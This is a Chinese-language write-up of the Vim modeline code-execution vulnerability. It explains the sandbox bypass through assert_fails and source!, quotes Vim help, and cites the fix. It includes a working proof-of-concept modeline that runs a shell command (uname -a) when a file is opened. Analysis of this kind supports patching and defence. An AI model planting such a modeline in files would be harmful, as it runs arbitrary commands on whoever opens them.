Vim modeline 代码执行漏洞

Table of Contents

1. modeline

modeline 特性可以让 Vim 在读取打开的文件时把特定格式中的文本当作 Vim 配置命令来执行。modeline 常出现在源码文件中,方便开发时统一大家编辑器的缩进、Tab 长度等等。

例如某个 .py 文件出现以下注释,开启 modeline 情况下,Vim 会自动设置缩进大小等:

# vim: ai ts=4 sts=4 et sw=4 ft=python

但凡有执行代码的场景,都可能出现执行任意代码的漏洞,常见的防范方法就是用沙盒去限制某些函数和命令的执行,但限制不完整就会出现绕过限制黑名单的漏洞。

2. 漏洞复现

测试环境:

软件 版本
操作系统 Kali Linux 2019.2
Vim 8.1.948

在 ~/.vimrc 增加以下内容开启 modeline 功能:

set modeline

然后保存以下内容到 test_poc.txt 文件中(注意加个换行符,否则启动 Vim 后需要手动摁下回车):

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

最后用 Vim 打开 test_poc.txt,发现自动执行了 uname -a 命令:

$ vim test_poc.txt

Linux lx-kali 4.19.0-kali5-amd64 #1 SMP Debian 4.19.37-2kali1 (2019-05-15) x86_64 GNU/Linux

Press ENTER or type command to continue

3. 漏洞原理

Vim 对 modeline 中的一些表达式在执行时是有限制的,具体细节可以在 Vim 中执行“:help sandbox”命令看到:

The 'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline' and
'foldtext' options may be evaluated in a sandbox.  This means that you are
protected from these expressions having nasty side effects.  This gives some
safety for when these options are set from a modeline.  It is also used when
the command from a tags file is executed and for CTRL-R = in the command line.
The sandbox is also used for the :sandbox command.

These items are not allowed in the sandbox:
        - changing the buffer text
        - defining or changing mapping, autocommands, user commands
        - setting certain options (see option-summary)
        - setting certain v: variables (see v:var)  E794
        - executing a shell command(不允许直接执行 shell 命令)
        - reading or writing a file
        - jumping to another buffer or editing a file
        - executing Python, Perl, etc. commands(不允许执行 Python、Perl等命令)
This is not guaranteed 100% secure, but it should block most attacks.

明确规定了不准执行 shell 命令,因此相关的函数就不能调用了。不过可以用 assert_fails 绕过,assert_fails 函数会把传递的字符串参数当作命令执行,Payload 里传递的是 source\!\ \% ,source! 命令会读取执行指定文件中的 Vim 命令,如果传递的参数是“%”,就从当前打开的文件中读取执行。

“!”命令执行外部的 shell,意味着这段 Payload 最终直接执行了以下 shell:

uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

对于“||”(或),其实在执行 shell 时没任何意义,也可以用分号代替;这么写是为了既可以满足让 Vim 去读取执行,又不影响执行 shell。

后面的 fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt= 其实只是开启 Vim 代码折叠功能,并执行设置给 fde 的表达式。具体可以看 Vim 帮助里对这几个变量的解释:

fen:

'foldenable' 'fen'      boolean (default on)
                        local to window
                        {not available when compiled without the +folding
                        feature}
        When off, all folds are open.  This option can be used to quickly
        switch between showing all text unfolded and viewing the text with
        folds (including manually opened or closed folds).  It can be toggled
        with the zi command.  The 'foldcolumn' will remain blank when
        'foldenable' is off.
        This option is set by commands that create a new fold or close a fold.
        See folding.

fdm:

'foldmethod' 'fdm'      string (default: "manual")
                        local to window
                        {not available when compiled without the +folding
                        feature}
        The kind of folding used for the current window.  Possible values:
        fold-manual     manual      Folds are created manually.
        fold-indent     indent      Lines with equal indent form a fold.
        fold-expr       expr        'foldexpr' gives the fold level of a line.
        fold-marker     marker      Markers are used to specify folds.
        fold-syntax     syntax      Syntax highlighting items specify folds.
        fold-diff       diff        Fold text that is not changed.

fde:

'foldexpr' 'fde'        string (default: "0")
                        local to window
                        {not available when compiled without the +folding
                        or +eval features}
        The expression used for when 'foldmethod' is "expr".  It is evaluated
        for each line to obtain its fold level.  See fold-expr.

        The expression will be evaluated in the sandbox if set from a
        modeline, see sandbox-option.
        This option can't be set from a modeline when the 'diff' option is
        on or the 'modelineexpr' option is off.

        It is not allowed to change text or jump to another window while
        evaluating 'foldexpr' textlock.

fdl:

'foldlevel' 'fdl'       number (default: 0)
                        local to window
                        {not available when compiled without the +folding
                        feature}
        Sets the fold level: Folds with a higher level will be closed.
        Setting this option to zero will close all folds.  Higher numbers will
        close fewer folds.
        This option is set by commands like zm, zM and zR.
        See fold-foldlevel.

fdt:

'foldtext' 'fdt'        string (default: "foldtext()")
                        local to window
                        {not available when compiled without the +folding
                        feature}
        An expression which is used to specify the text displayed for a closed
        fold.  See fold-foldtext.

        The expression will be evaluated in the sandbox if set from a
        modeline, see sandbox-option.
        This option cannot be set in a modeline when 'modelineexpr' is off.
        It is not allowed to change text or jump to another window while
        evaluating 'foldtext' textlock.

4. 修复

官方发布的补丁:https://github.com/vim/vim/commit/5357552

补丁很简单,禁用了 source 执行:

/* src/getchar.c */
if (check_secure())
  return;

5. 参考